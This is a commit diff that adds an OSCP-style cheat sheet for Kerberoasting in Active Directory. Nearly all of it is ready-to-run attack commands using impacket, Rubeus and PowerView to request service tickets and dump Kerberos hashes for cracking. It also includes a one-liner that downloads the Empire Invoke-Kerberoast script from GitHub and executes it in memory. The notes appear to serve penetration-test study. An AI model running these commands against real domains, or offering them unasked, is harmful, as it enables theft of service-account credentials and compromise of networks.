first commit

Windows/Active Directory for OSCP/Valid Credentials/Kerberoasting.md

@@ -0,0 +1,22 @@
+First Find SPN of the kerberoastable user (Powerview script)
+
+```sh
+- impacket-GetUserSPNs -request -dc-ip <dc-ip> <full domain>/<user>:<password>
+- impacket-GetUserSPNs -no-preauth "<asrep_user>" -usersfile "<userlist.txt>" -dc-host "<dc_ip>" "<domain>"/
+- Rubeus.exe kerberoast
+
+# Powerview: Get Kerberoast hash of a user
+Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
+
+# Powerview: Get all Kerberoast hashes
+Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
+
+# Rubeus
+.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
+.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
+.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
+
+# Invoke-Kerberoast
+iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
+Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
+```